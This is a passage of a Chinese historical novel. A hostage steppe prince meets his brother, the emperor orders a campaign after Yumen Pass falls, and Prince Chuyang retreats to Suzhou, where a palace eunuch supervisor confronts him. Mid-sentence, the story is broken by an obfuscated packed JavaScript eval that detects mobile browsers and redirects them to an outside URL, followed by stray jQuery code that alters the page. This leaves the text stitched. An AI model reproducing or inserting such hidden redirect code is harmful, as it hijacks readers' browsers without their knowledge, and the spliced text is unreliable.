“多谢殿下和梅晓姑娘了。”呼延灼庄重地抱拳行礼，似乎很是感激。
因为他不熟悉这里的路，只好求薛玉贞帮忙，她也爽快答应，带他来迎接各国使臣的紫宸殿外等呼延钧。
兄弟二人快步回到落霞轩。
呼延钧一进门就开始打量殿中的一切，呼延灼则跑去给他沏了一壶茶。
他拿着茶壶进屋，屋内站着的人转过身注视着他，玄色衣衫，眉目沉静。
呼延钧的目光迅速掠过呼延灼全身，眉头几不可察地一松，开口却是训诫：“来中原这么久了，还是没个稳重样子。”
“这里又没外人。”呼延灼咧嘴笑，扯着哥哥袖子拉到案边，倒了碗茶递给呼延钧，“快说说小妹的身体怎样了？边境的雪今年大不大？”
呼延钧没碰茶碗，眼神突然一沉：“这些稍后再说也不迟，不让先告诉我，你在这宫里处境如何？”
“能吃能睡，好得很。”呼延灼盘腿坐下。
“想必是如履薄冰吧。”呼延钧声音压低，“皇帝对你可有疑心？宫中贵人有无刁难？”
呼延灼脑海里闪过梅晓偷偷塞给他桂花糕的样子，眼睛弯了弯：“大靖的皇帝压根没把我当回事。我在这儿有五公主的照拂，一切都好。”
“是吗？”呼延钧眼神骤锐，“离大靖皇室血脉远点。你的身份，任何亲近都可能被解读为结党钻营。
“哥你放心好了，五公主不一样的。”
“不要把事情想的太简单了……”
“哥！”呼延灼打断了他的话。
兄弟俩目光相碰，一个灼热如正午日头，一个沉静如子夜寒潭。
良久，呼延钧先移开眼，从怀中取出一只皮质小袋：“这是小妹要我稍给你的，风干的奶疙瘩。”
呼延灼接过，鼻尖猛地一酸。没想到如今小妹还记挂着自己，等他回去了再也不跟她作对了。
“哥，小妹怎么样了，还有我离家的日子里都发生了什么事?”
“没什么大事，不过你记得你小时候养的那匹白额马吗？老了，去年冬天病死了。按例该宰杀分食，我派人把它埋在了你常去的那个小山坡。”
呼延灼眼底蒙上一层阴翳，“这一天总会来的，它这一生也算圆满了。”
“至于小妹嘛，”呼延钧极轻地叹了口气：“还是老样子。咳喘时好时坏，换季时尤其难熬。”他顿了顿，“这些日子药没断过。不过人虽弱，但也没再恶化。还有浑莲整日看顾着呢，你也不要太担心了。”
小妹呼延欢的病，是打娘胎里带来的心疾，大夫说是她的心脉天生有缺，所以她从小面色就比常人苍白，嘴唇在冬日或劳累时会泛起淡淡的青紫色。
她不能像其他孩子那样奔跑嬉闹，稍一活动就容易咳嗽喘不上气，严重时甚至会眼前发黑晕厥。
父王这些年没少给她搜寻各地神医来看治，只是一直没什么起色。
“寿礼后日献上，我便要返程。”呼延钧继续道，“我看今日大靖皇帝的反应，似乎是有大事发生，你务必谨慎。”
呼延灼握紧皮袋，脸上却还挂着笑：“知道了，哥，那你路上小心。”
呼延钧看着弟弟在月光下显得单薄的肩膀，突然抬手，重重按了一下：“好好活着。等我来接你回家。父王他……”
“哥，不要再说了。”呼延灼听见父王这个词忽然皱了下眉，打断了哥哥的话。
呼延钧轻轻叹了口气。”
窗外忽然传来极轻的“咔嚓”声，像石子滚过屋檐。
呼延钧眼神一厉，瞬间掠到窗边，手按刀柄。呼延灼却更快一步扑到窗前推开窗棂。
檐下空空，只有一片褪色的宫绦挂在瓦楞上随风轻晃。
“可能是野猫吧。”呼延灼背对着呼延钧说道。
·
一炷香之后，四人已齐聚紫宸殿。
薛金熠把奏折丢在案上示意他们自己看。
兵部尚书陈亭第一个抢上，只看了几行，便倒吸一口凉气，脱口而出：“敕连……这是早有预谋的倾巢而出，绝非寻常寇边啊！”
枢密使周闵接过，老眼扫过，面色凝重至极：“好狠辣的突袭，肃州危矣，若肃州再失，河西走廊门户大开，凉州、甘州皆在其兵锋之下……”
心急的镇国大将军杨峥一把夺过军报，虎目圆睁，看到张将领殉国时，眼眶骤然发红，从牙缝里迸出低吼：“尉迟迦这个老贼，末将请旨，即刻点兵北上，必复玉门，诛此獠首级献于阙下！”
“只是不知这信上为何没提楚阳王，难道他临阵逃脱了？”
听完，薛金熠的脸色更黑了。
这个罗启麟为何关键时刻掉链子，明明自己那么看重他，这次一定要狠狠惩罚他！
户部尚书安惟之最后接过，喃喃道：“关城陷落，军械粮草必为所夺。当务之急是重建关防，调集大军粮饷转运。”
“只是陛下，三月前曲北水患赈灾款项尚未填平，若此刻调大军西征，粮草，民夫，饷银这些，不知国库……”
“现在不是算账的时候！”薛金熠厉声打断他，目光灼灼，如同被困的猛兽，散发着危险的光芒，“玉门必须夺回，肃州必须守住。西北，一寸土地也不能丢！”
他走到舆图前，手指重重地点在玉门关的位置，然后划过远昭峡，落在肃州。
“杨峥！”
“末将在！”
“朕命你为征北大都督，总揽西北军务。持朕虎符，即刻起，北境五军，除必要守备，皆由你节制！京畿骁骑营、神策军左营，拔三万人马，归你先锋！三日内，必须开拔！”
“末将领旨！”杨峥单膝跪地，声音斩钉截铁。
“陈亭。”
“臣在！”
“兵部全力配合杨将军，调拨一切所需军械、甲胄、战马。沿途驿站、粮台，全部为大军让路，确保补给通畅！”
“臣遵旨！”
“安惟之。”
安惟之一个激灵：“臣……臣在。”
“户部立即盘库，筹措军饷粮草。告诉朕，能动用多少，还能从江南、蜀中调集多少，非常之时，行非常之法，若有人敢拖延克扣——”薛金熠目光森冷，“朕准你先斩后奏。”
安惟之冷汗涔涔而下：“臣……臣即刻去办！”
“周闵。”
“老臣在。”
“你坐镇枢密院协调各方，军情急报直送朕与杨将军处。另外，”薛金熠顿了顿，声音更沉，“密令河西和陇右诸州，紧闭城门坚壁清野，严防死守。再派快马，持朕密旨，往安西、北庭都护府，命他们提高戒备，谨防敕连部还有其他动作。”
“老臣明白！”
“朕要这些蛮夷，一个都回不去，让他们用命给朕把玉门关的砖染红，也给那些藏在更后面的眼睛看看犯我疆土者，葬身之地都没有！”
·
玉门关破的消息两日后才传到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209345|197379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚阳王的耳中。
“什么？”
他一掌拍在客栈的木桌上，将碗中的水都震了出来。
下一刻，他朝着自己仅有的亲兵吩咐道：“所有人，现在立刻返程！”
楚阳王没有直扑玉门关，路上他一直在思索。
他绕道北麓，沿黑水河支流疾行一日夜，在第二日黎明前抵达青龙堡。
那是玉门关防御体系中偏西的一座军堡，是建在崖壁上的，易守难攻。
堡墙上有箭痕，门楼烧毁了一半，但城头还飘着残破的旌旗——是属于他的将旗。
吊桥轰然放下。
守堡校尉姓赵，左臂裹着渗血的布条，见到楚阳王时，这个满脸烟灰的汉子直接跪下了，声音哽咽：“王爷…关丢了，都怪我们没守住。”
楚阳王扶起他：“还剩多少人？”
赵校尉报了个数。
玉门关守军原本八千，青龙堡此刻聚集了六百余残兵，多是当夜在关外巡防或像他一样驻守外围据点，侥幸未陷入合围的。
“还有呢？”
赵校尉摇头：“没了消息。可能……都战死在关城了。”
楚阳王登上堡墙最高处，向东望去。玉门关的方向，天空灰蒙蒙的，看不到狼烟，也听不到厮杀声。
太安静了，安静得让人心头发冷。
“王爷，接下来怎么办？”周彦问。
楚阳王转身：“去肃州，朝廷援军必以肃州为基。我们得赶在大军到达前，把能带的人都带过去，把知道的情报都理清楚。”
他看向赵校尉：“给你两个时辰，清点所有能用的箭矢，火油和干粮。除了伤重不能行的，其余人轻装随我走。”
赵校尉急道：“王爷，这堡……”
“不要了。”楚阳王说得平静，“六百人根本守不住这里，蛮骑若是分兵来攻，半天就能踏平。把人带走才是上策。”
他拍了拍墙砖：“不过你放心，我会带大军打回来的。”
肃州城已戒严。
楚阳王一行在第三日午后抵达时，城外正在修筑壕沟和箭楼，民夫与兵卒混杂，尘土飞扬。
城门守将认出了他，却未立刻放行，而是派人飞报城中。
片刻后，一队甲士驰出，为首的监军服饰鲜亮，面白无须，是宫里派来的刘公公。
楚阳王下马。
刘公公端坐马上，居高临下：“楚阳王，听闻玉门关破时，你不在关上？”
“是。”楚阳王答得干脆，“本将三日前奉兵部调令，前往凉州议事。有文书为证。”
刘公公笑了笑：“巧啊，你前脚刚走，关城后脚就破了。”
气氛骤然紧绷。
楚阳王身后的亲卫手按上了刀柄，周彦脸色铁青。
楚阳王抬手制止，仍看着刘公公：“所以本将更须回来，将功折罪。”
“折罪？”刘公公慢条斯理，玉门关乃西陲第一雄关，八千守军，一日即陷。”
“陛下在京城震怒，征北将军杨峥已率三万精锐西征，不日即到。楚阳王，你此刻身份敏感，依咱家看，不如先交出兵符印信，在城中静候朝廷发落。”
楚阳王沉默片刻，从怀中取出一物。倒不是兵符，而是一卷厚厚的手绘舆图。
“此乃玉门关及周边百里山川地势详图，关内水井、密道、仓储、武库位置，皆有标注。本将离关前，最新哨探所得蛮族各部夏季牧场分布，亦在其中。”